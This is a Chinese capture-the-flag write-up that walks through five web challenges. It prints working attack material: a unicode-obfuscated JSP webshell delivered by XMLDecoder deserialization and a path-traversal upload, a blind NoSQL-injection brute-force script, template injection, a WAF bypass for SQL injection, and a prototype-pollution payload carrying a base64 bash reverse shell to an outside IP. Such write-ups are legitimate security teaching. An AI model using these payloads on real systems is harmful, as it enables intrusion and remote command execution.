0x01 babycat
题目界面为一登录框,发现 sign up 功能被禁用,但可以访问。因此尝试修改登录包,把方法改为register
成功登录
在DownLoad Test处发现任意文件下载,爬取到了web.xml
........
<servlet>
<servlet-name>register</servlet-name>
<servlet-class>com.web.servlet.registerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.web.servlet.loginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>home</servlet-name>
<servlet-class>com.web.servlet.homeServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>com.web.servlet.uploadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.web.servlet.downloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>logout</servlet-name>
<servlet-class>com.web.servlet.logoutServlet</servlet-class>
</servlet>
.........
根据xml和javaweb默认路径(源码放在classes内)就可以爬出所有源码
分析发现上传文件处需要admin权限,看了下wp,可以利用gson兼容性注册为admin
原理可见https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities)
data={"username":"test","password":"test","role":"admin"/*,"role":"test"*/}
正则匹配会把test换为guest,但gson解析只会读取admin
进一步审计
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
发现此处没有return,因而即使进入了if语句,也会执行下面的代码,换言之,waf无效,我们可以直接上传shell
因为无法访问默认上传目录(/webapps/ROOT/WEB-INF/upload/),因而需要把文件上传到可访问的static
最后static访问
注:/readflag是在任意读取文件处爆破出来的
0x02 easycms
web指纹信息:禅知7.7,直接去网上找到了源码来分析
发现后台登录,直接admin.php
弱口令 admin:12345
在后台发现模板注入
但是需要存在/var/www/html/system/tmp/clyq.txt
文件才行,继续挖掘功能,发现在组件->素材库可以上传.txt
上传之后修改名称可以实现目录穿越
注意.txt的文件名是随机的,每次打开容器都不一样
之后直接模板注入就可以了
<?php `cat /flag`;?>
0x03 babyrevenge
相较于babycat的直接上shell,这道题是利用xmldecoder的反序列化漏洞写shell,具体流程如下:
审计代码可得,每次登陆或者注册会和数据库连接,此时数据库会读取db.xml的配置信息,所以可以通过upload上传恶意代码覆盖db.xml,再借助XMLDecoder反序列化写shell
1.题目提示需要用PrinteWriter,因此需要知道绝对路径,我们可以通过download模块获取file=../../../../../../../proc/self/environ
2.此外题目过滤了常见的命令执行函数,可以通过unicode编码绕过
恶意xml:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void method="println">
<string>
<![CDATA[<%
if("b".equals(request.getParameter("pwd"))){
java.io.InputStream in = \u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]>
</string>
</void><void method="close"/>
</object>
</java>
抓包如下,请注意filename的路径
POST /home/upload HTTP/1.1
Host: ip
Content-Length: 1610
Origin: ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6hXaMhhzEhTBLWf2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Cookie: cookie
Connection: close
------WebKitFormBoundary6hXaMhhzEhTBLWf2
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
Content-Type: image/png
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void method="println">
<string>
<![CDATA[<%
if("b".equals(request.getParameter("pwd"))){
java.io.InputStream in = \u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]>
</string>
</void><void method="close"/>
</object>
</java>
------WebKitFormBoundary6hXaMhhzEhTBLWf2--
之后的获取flag的流程就和babycat一样了
xmldecode反序列化原理:https://www.cnblogs.com/hetianlab/p/13534535.html
0x04 hackme(未完)
waf过滤了regex/ne/eq
,但是json可以用unicode绕过(中文转unicode)
<?php
function send($txt)
{
//print(1);
$fp = fsockopen("node4.buuoj.cn", 28667, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$data = <<<EOF
POST /login.php HTTP/1.1
Host: node4.buuoj.cn:28667
Content-Length: 100
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://node4.buuoj.cn:28667
Referer: http://node4.buuoj.cn:28667/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Connection:Close
%s
EOF;
$d = '{"username":{"\u0024\u0065\u0071":"admin"},"password":{"\u0024\u0072\u0065\u0067\u0065\u0078":"^%s"}}';
$d = sprintf($d, $txt);
$out = sprintf($data,$d);
//printf($out."\n");
fwrite($fp, $out);
$content = '';
while (!feof($fp)) {
$content .= fgets($fp);
}
//printf($content."\n");
fclose($fp);
if (stripos($content, "登录了,但没完全登录")) {
return $txt;
} else {
return "";
}
}
}
$pass = '';
$arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', ' c ', 'd ', 'e', 'f', 'g', 'h', 'i', 'j ', 'k ', 'l', 'm', 'n', 'o ', 'p', 'q', 'r', 's ', 't', 'u ', 'v', 'w', 'x ', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
for ($c = 0; $c < 100; $c++) {
printf("-------第%d轮------"."\n",$c+1);
for ($i = 0; $i < count($arr); $i++) {
$res = send($pass.$arr[$i]);
if ($res !== "") {
$pass = $res;
print($pass);
echo "\n";
break;
}
}
}
爆出密码为42276606202db06ad1f29ab6b4a1307f
,进入后搜索flag,提示flag在内网
结合提示"注意server和其配置⽂件",这里可以从抓包得知server为nginx 1.17.6
,接着查看nginx配置信息/usr/local/nginx/conf/nginx.conf
发现是nginx反代,并且有weblogic。
因为nginx版本小于1.17.7,所有存在CVE-2019-20372
,http走私漏洞
https://www.secpulse.com/archives/118622.html #HTTP 走私原理
https://www.cnblogs.com/tssc/p/10255590.html #CGI解析器
走私利用失败,之后发现可以利用session_upload_progress上传shell打入内网,但进入内网后无论是curl发送报文执行rce,还是上代理均已失败告终,只有暂时放弃
0x05 easynode
从题目获取源码后开始分析
登陆界面的waf
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// \ ^ () " '
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
console.log(username,password)
// let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// result = JSON.parse(JSON.stringify(await select(sql)));
// return result;
}
1.获取token
由于safeStr
是将字符串的每一个元素传入waf进行检查,所以如果我们传入一个数组,那么safeStr会把数组的每一个元素传入waf,我们在数组最后一位传入敏感字符,这样利用数组相加就可以返回一个字符串
也许会有疑问:为什么数组长度一定要这么长,短一点不好吗?
调试一下会发现,当数组合为字符串并再一次放入waf检测时,由于i值过小,导致'
放入waf,所以数组长度要长一点。
>> [ "admin'#", 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a' ] + []
>> admin'#,a,a,a,a,a,a,a,a*
可以构造payload绕过waf
username[]=admin'#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=(&password=123456
之后我们在adminDIV
处发现一个原型链污染
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data) // POST 方法获取一个 data 并用 json 解析
let result = verifyToken(token); // 首先效验 cookie
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for(var key in data){ // 13 - 17 行代码是漏洞逻辑
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
2.原型链污染
JavaScript是一门灵活的语言,基于原型实现继承,原型是Javascript的继承的基础 每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype 我们可以认为,原型prototype是类的一个属性,而这个属性中的值和方法被每一个由类实例出来的对象所共有,而我们可以通过实例对象test1.__proto__来访问Test类的原型
那么这样就出现了一个问题,假如我们可以控制实例对象的__proto__属性,则等于可以修改该类所有实例对象的__proto__属性,甚至通过__proto__属性去修改实例对象的属性值 原型链污染特别容易出现在对属性操作的地方
更多原型链污染:
https://blog.szfszf.top/tech/javascript-%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93-%e5%88%86%e6%9e%90/
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
在addDIV处我们发现extend原型链污染操作
if(result !='err'){
username = result;
var sql =`select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));
board = JSON.parse(JSON.stringify(query[0].board));
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
extend({},JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
res.json({"msg":'addDiv successful!!!'});
}
首先使用admin权限创建账号__proto__
username=__proto__&password=123456
之后利用proto的token构造payload(payload需经过base64和url编码)反弹shell
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMDEuNTcuNzIvMjMzMyAwPiYxIg%3D%3D|base64 -d|bash');var __tmp2"}
再次访问/admin
即可触发rce
不要随意通过/login登陆,因为会生成新的token,导致漏洞利用失败
原型链污染解析
easynode中我们学习了关于原型链的一些基础知识,这里我们来看一下到底如何利用__proto__来造成污染
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
// let o2 = {a: 1, "__proto__": {b: 2}}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
merge函数作用:如果目标对象不存在source中的属性,那么将source中的属性赋值给目标,如果存在则判断属性内是否还包含属性,不包含则检查下一个属性
由于proto存在于所有对象之中,那么我们就可以将__proto__作为属性名,这样merge函数就会进入if语句,并将我们的污染属性带入__proto__,造成原型链污染
注意:JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键,沒有解析的话,__proto__就会被忽略
下面来看一道ctf
// ...
const lodash = require('lodash')
// ...
app.engine('ejs', function (filePath, options, callback) {
// define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
//...
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
由于loadsh.merge存在原型链污染
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
我们可以将sourceURL带入原型属性,进行rce
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)